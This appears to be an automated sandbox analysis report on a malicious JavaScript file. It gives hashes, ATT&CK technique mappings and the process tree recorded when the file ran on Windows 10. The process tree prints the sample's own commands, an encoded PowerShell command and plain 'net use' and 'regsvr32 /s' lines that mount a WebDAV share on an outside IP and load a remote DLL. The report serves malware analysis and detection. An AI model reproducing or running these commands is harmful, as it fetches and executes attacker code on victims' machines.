1ccf0573064adda2adc3815b2ec999c3d0dd6fbe926ffa9922ff58a66e33c25b

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 08:28

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General

Target
23336200442939732134.js
Size 1.5MB
Sample241113-kcy2jaydpl
SHA256 e151e378190c5a0f1a0fef0f0340809a11da0e491e2a6d6ce6e49a05bf1c6f0c
MD5 8380da98ca9eb9629c7b01595f745e54
SHA1 a101b034c73e7b569706fbc350fea63f330ae8f6
SHA512 7719af0b8ea68e7f74f122b0d5f3c7356854fe104e0645642ed0f5c097806f670a5d5fdc222ffbb79290cb111be54f0a761bf980587313fc68c19a72091951b1
SSDEEP 12288:ATpdVlG4O8mhTpBnG55zJIqKKHAhyOkLJzl:WmFNeRI2
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3228	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4592	powershell.exe
4592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4592	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 4592	1452	wscript.exe	83
PID 1452 wrote to memory of 4592	1452	wscript.exe	83
PID 4592 wrote to memory of 3228	4592	powershell.exe	85
PID 4592 wrote to memory of 3228	4592	powershell.exe	85
PID 4592 wrote to memory of 2324	4592	powershell.exe	89
PID 4592 wrote to memory of 2324	4592	powershell.exe	89
PID 2324 wrote to memory of 4940	2324	cmd.exe	90
PID 2324 wrote to memory of 4940	2324	cmd.exe	90
PID 4592 wrote to memory of 4560	4592	powershell.exe	91
PID 4592 wrote to memory of 4560	4592	powershell.exe	91
PID 4560 wrote to memory of 4996	4560	cmd.exe	92
PID 4560 wrote to memory of 4996	4560	cmd.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\23336200442939732134.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA3ADYAOQA4ADEAMQA1ADUANwA5ADUAMwAxAC4AZABsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\system32\timeout.exe
    "C:\Windows\system32\timeout.exe" 1
    3⤵
    - Delays execution with timeout.exe
    PID:3228
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\system32\net.exe
      net use \\94.159.113.79@8888\davwwwroot\
      4⤵
      PID:4940
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\system32\regsvr32.exe
      regsvr32 /s \\94.159.113.79@8888\davwwwroot\7698115579531.dll
      4⤵
      PID:4996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_3r5tj53v.iln.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3r5tj53v.iln.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4592-0-0x00007FFE584C3000-0x00007FFE584C5000-memory.dmp

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memory/4592-3-0x0000019994120000-0x0000019994142000-memory.dmp

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memory/4592-11-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

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memory/4592-12-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

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memory/4592-15-0x00007FFE584C0000-0x00007FFE58F81000-memory.dmp

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